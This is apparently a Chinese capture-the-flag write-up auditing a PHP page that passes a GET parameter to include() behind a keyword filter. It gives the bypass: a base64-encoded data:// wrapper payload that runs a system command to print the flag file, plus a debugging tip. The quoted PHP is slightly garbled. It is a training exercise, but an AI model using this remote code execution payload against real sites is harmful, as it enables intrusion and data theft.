代码审计
```php <?php //flag in flag.php error_reporting(0); if(isset($_GET[‘c’])){ $c = $_GET[‘c’]; if(!preg_match(“/flag|php|file/i”, $c)) //这里增加了对php,file过滤 {include($c);
echo $flag;
}
}else{ highlightfile(_FILE); }
2. 利用`data`伪协议进行读取,因为同时对`php`进行了过滤,要用`base64`加密
```shell
<?php system('tac flag*')?>
#base64加密后
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZyonKTs/Pg==
#有些执行出来是空白,可以命令后面加入echo 1;试试
#例如<?php phpinfo();echo 1;?>